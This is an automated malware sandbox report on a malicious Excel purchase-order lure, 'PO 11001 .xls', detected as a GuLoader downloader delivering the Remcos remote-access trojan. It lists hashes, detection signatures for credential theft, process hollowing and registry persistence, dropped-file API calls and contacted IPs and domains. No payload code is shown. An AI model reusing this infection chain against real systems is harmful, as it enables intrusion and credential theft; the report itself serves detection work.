Windows Analysis Report
PO 11001 .xls

Overview

General Information

Sample name: PO 11001 .xls
Analysis ID: 1522508
MD5: c032108824b5b2e9075e6216300794ad
SHA1: f7517cdb21e84b14cc8b0a6bd7de1aa2d5804568
SHA256: eee751a9781787e72e2666b344b5262abac000f1abc8a090af60b574401e6b79
Tags: xlsuser-abuse_ch
Infos:

Detection

Remcos, GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Detected Remcos RAT
Detected unpacking (changes PE section rights)
Multi AV Scanner detection for submitted file
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected GuLoader
Yara detected Remcos RAT
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Installs new ROOT certificates
Machine Learning detection for sample
Maps a DLL or memory area into another process
Microsoft Office drops suspicious files
PowerShell case anomaly found
Powershell drops PE file
Sample uses process hollowing technique
Searches for Windows Mail specific files
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: File With Uncommon Extension Created By An Office Application
Sigma detected: Files With System Process Name In Unsuspected Locations
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: System File Execution Location Anomaly
Suspicious command line found
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Writes to foreign memory regions
Abnormal high CPU Usage
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Compiles C# or VB.Net code
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains functionality to shutdown / reboot the system
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Direct Autorun Keys Modification
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Excel Network Connections
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE
Sigma detected: Suspicious Office Outbound Connections
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Name Description Attribution Blogpost URLs Link
Remcos, RemcosRAT Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.
  • APT33
  • The Gorgon Group
  • UAC-0050
 https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos
Name Description Attribution Blogpost URLs Link
CloudEyE, GuLoader CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: PO 11001 .xls ReversingLabs: Detection: 28%
Source: PO 11001 .xls Virustotal: Detection: 25% Perma Link
Yara detected Remcos RAT
Source: Yara match File source: 00000021.00000002.1004764696.0000000006AA4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Vaccinerende.exe PID: 3116, type: MEMORYSTR
Machine Learning detection for sample
Source: PO 11001 .xls Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_00404423 GetProcAddress,FreeLibrary,CryptUnprotectData, 34_2_00404423
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: unknown HTTPS traffic detected: 104.21.78.54:443 -> 192.168.2.22:49163 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.216.244:443 -> 192.168.2.22:49165 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.78.54:443 -> 192.168.2.22:49170 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.78.54:443 -> 192.168.2.22:49169 version: TLS 1.2
Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 0000000C.00000002.802145913.0000000004CD0000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: Automation.pdb source: powershell.exe, 00000018.00000002.1002223931.0000000004F5A000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\sm41lsyu\sm41lsyu.pdb source: powershell.exe, 00000007.00000002.434786957.0000000002FFF000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: .pdbu source: powershell.exe, 00000007.00000002.449310498.000000001C4D6000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\sm41lsyu\sm41lsyu.pdbhP source: powershell.exe, 00000007.00000002.434786957.000000000312A000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: System.Management.Automation.pdbg source: powershell.exe, 0000000C.00000002.802145913.0000000004CD0000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\r4gn3nq1\r4gn3nq1.pdb source: powershell.exe, 00000013.00000002.479817740.0000000002952000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: :\Windows\System.Core.pdbpdbore.pdb2 source: powershell.exe, 00000018.00000002.902448214.0000000000491000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: :\Windows\System.Core.pdbpdbore.pdbD7 source: powershell.exe, 0000000C.00000002.777378103.0000000000442000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\r4gn3nq1\r4gn3nq1.pdbhP source: powershell.exe, 00000013.00000002.479817740.0000000002952000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: Automation.pdbG source: powershell.exe, 00000018.00000002.1002223931.0000000004F5A000.00000004.00000020.00020000.00000000.sdmp
Source: C:\Users\user\AppData\Roaming\dllhost.exe Code function: 11_2_0040595A GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 11_2_0040595A
Source: C:\Users\user\AppData\Roaming\dllhost.exe Code function: 11_2_00402862 FindFirstFileW, 11_2_00402862
Source: C:\Users\user\AppData\Roaming\dllhost.exe Code function: 11_2_0040658F FindFirstFileW,FindClose, 11_2_0040658F
Source: C:\Users\user\AppData\Roaming\dllhost.exe Code function: 23_2_0040595A GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 23_2_0040595A
Source: C:\Users\user\AppData\Roaming\dllhost.exe Code function: 23_2_00402862 FindFirstFileW, 23_2_00402862
Source: C:\Users\user\AppData\Roaming\dllhost.exe Code function: 23_2_0040658F FindFirstFileW,FindClose, 23_2_0040658F
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 33_2_0040595A GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 33_2_0040595A
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 33_2_00402862 FindFirstFileW, 33_2_00402862
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 33_2_0040658F FindFirstFileW,FindClose, 33_2_0040658F
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_0040AE51 FindFirstFileW,FindNextFileW, 34_2_0040AE51
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 35_2_00407EF8 FindFirstFileA,FindNextFileA,strlen,strlen, 35_2_00407EF8
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 36_2_00407898 FindFirstFileA,FindNextFileA,strlen,strlen, 36_2_00407898
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe File opened: C:\Users\user\AppData\Local\Temp\wvibksbfizuvagm
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe File opened: C:\Users\user\AppData\Local\Temp\
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe File opened: C:\Users\user\AppData\
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe File opened: C:\Users\user\AppData\Local\
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe File opened: C:\Users\user\AppData\Local\Temp\tsdrjareurci
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe File opened: C:\Users\user\

Software Vulnerabilities
barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\mshta.exe
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: og1.in
Source: global traffic DNS query: name: og1.in
Source: global traffic DNS query: name: og1.in
Source: global traffic DNS query: name: geoplugin.net
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 178.237.33.50:80
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 104.21.78.54:443
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 104.21.78.54:443
Source: global traffic TCP traffic: 104.21.78.54:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 104.21.78.54:443
Source: global traffic TCP traffic: 104.21.78.54:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 104.21.78.54:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 104.21.78.54:443
Source: global traffic TCP traffic: 104.21.78.54:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 104.21.78.54:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 104.21.78.54:443
Source: global traffic TCP traffic: 104.21.78.54:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 104.21.78.54:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 104.21.78.54:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 104.21.78.54:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 104.21.78.54:443
Source: global traffic TCP traffic: 104.21.78.54:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic TCP traffic: 172.67.216.244:443 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic TCP traffic: 172.67.216.244:443 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 172.67.216.244:443 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic TCP traffic: 172.67.216.244:443 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 172.67.216.244:443 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic TCP traffic: 172.67.216.244:443 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 172.67.216.244:443 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic TCP traffic: 172.67.216.244:443 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 172.67.216.244:443 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic TCP traffic: 172.67.216.244:443 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
